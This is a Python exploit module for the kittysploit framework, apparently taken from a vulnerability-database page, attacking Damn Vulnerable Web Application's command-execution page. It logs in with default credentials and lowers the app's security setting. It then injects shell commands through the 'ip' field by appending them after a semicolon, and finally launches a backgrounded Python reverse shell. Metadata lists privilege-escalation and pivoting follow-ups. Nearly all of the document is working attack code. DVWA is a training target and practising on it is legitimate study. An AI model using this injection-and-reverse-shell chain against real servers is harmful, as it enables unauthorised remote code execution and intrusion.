Damn Vulnerable Web Application rce
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from bs4 import BeautifulSoup
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_login import Http_login
class Module(Exploit, Http_client, Http_login):
__info__ = {
"name": "Damn Vulnerable Web Application rce",
"description": "Damn Vulnerable Web Application rce",
"cve": "",
"payload": {
"default": "payloads/singles/cmd/unix/python_reverse_tcp",
"platform": Platform.ALL,
"arch": [Arch.X86, Arch.X64],
"category": PayloadCategory.SINGLE,
},
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
'post/shell/multi/manage/pivot_autoroute']},
},
}
# Lab default is admin/password (Http_login historically defaulted password=admin).
username = OptString("admin", "DVWA username", required=False)
password = OptString("password", "DVWA password", required=False)
def _join_path(self, path):
base = str(self.path or "/").strip() or "/"
if not base.startswith("/"):
base = f"/{base}"
if base != "/" and base.endswith("/"):
base = base[:-1]
suffix = path if str(path).startswith("/") else f"/{path}"
if base == "/":
return suffix
return f"{base}{suffix}"
def get_token(self,source):
soup = BeautifulSoup(source, "html.parser")
field = soup.find('input', { "type" : "hidden" })
if not field:
return ""
return field.get('value', '')
def _login(self):
login_path = self._join_path("/login.php")
login = self.http_request(
method="GET",
path=login_path,
session=True
)
if not login or not getattr(login, "text", ""):
return None
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:60.0)Gecko/20100101 Firefox/60.0',
'Upgrade-Insecure-Requests': '1',
}
data = {
"username" : self.username,
"password" : self.password,
"Login" : "Login",
"user_token" : self.get_token(login.text)
}
r = self.http_request(
method="POST",
path=login_path,
data=data,
headers=headers,
session=True
)
if not r or 'Login failed' in (r.text or ''):
self.login_failed()
return None
self.login_success()
return r
def _set_security_low(self):
security_path = self._join_path("/security.php")
page = self.http_request(method="GET", path=security_path, session=True)
if not page or not getattr(page, "text", ""):
return False
token = self.get_token(page.text)
data = {
"security": "low",
"seclev_submit": "Submit",
}
if token:
data["user_token"] = token
resp = self.http_request(
method="POST",
path=security_path,
data=data,
session=True,
)
return bool(resp)
def _submit_exec(self, exec_path, token, injected_command, *, background=False):
command = str(injected_command or "").strip()
if background and command and not command.rstrip().endswith("&"):
# Detach reverse shells so Apache/PHP does not reap the callback when
# the HTTP request finishes.
command = f"( {command} ) >/dev/null 2>&1 &"
payload = {
'ip': f'127.0.0.1; {command}',
'Submit': 'Submit',
}
if token:
payload['user_token'] = token
return self.http_request(
method="POST",
path=exec_path,
data=payload,
session=True
)
def run(self):
if not self._login():
return False
self._set_security_low()
exec_path = self._join_path("/vulnerabilities/exec/")
exec_page = self.http_request(method="GET", path=exec_path, session=True)
if not exec_page or not getattr(exec_page, "text", ""):
self.not_vulnerable()
return False
print_info(
f"DVWA exec landing: requested={exec_path} "
f"effective={self.response_effective_path(exec_path, exec_page)} "
f"status={getattr(exec_page, 'status_code', 'unknown')}"
)
token = self.get_token(exec_page.text)
verify_marker = f"KS_RCE_{self.random_text(8)}"
verify = self._submit_exec(exec_path, token, f"echo {verify_marker}", background=False)
if not verify:
print_info("DVWA exec verification failed: empty or non-success HTTP response")
self.not_vulnerable()
return False
if verify_marker not in (getattr(verify, "text", "") or ""):
print_info(
"DVWA exec verification did not return the injected marker; "
"HTTP access works but command execution is not confirmed"
)
self.not_vulnerable()
return False
print_info(f"DVWA exec verification marker observed: {verify_marker}")
print(self.payload)
pwn = self._submit_exec(exec_path, token, self.payload, background=True)
if not pwn:
print_info("DVWA exec submit failed: empty or non-success HTTP response")
self.not_vulnerable()
return False
print_info(
f"DVWA exec submit: requested={exec_path} "
f"effective={self.response_effective_path(exec_path, pwn)} "
f"status={getattr(pwn, 'status_code', 'unknown')} "
f"body_len={len(getattr(pwn, 'text', '') or '')}"
)
return True
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01 Sep 2026 12:42Current
5.8Medium risk
Vulners AI Score5.8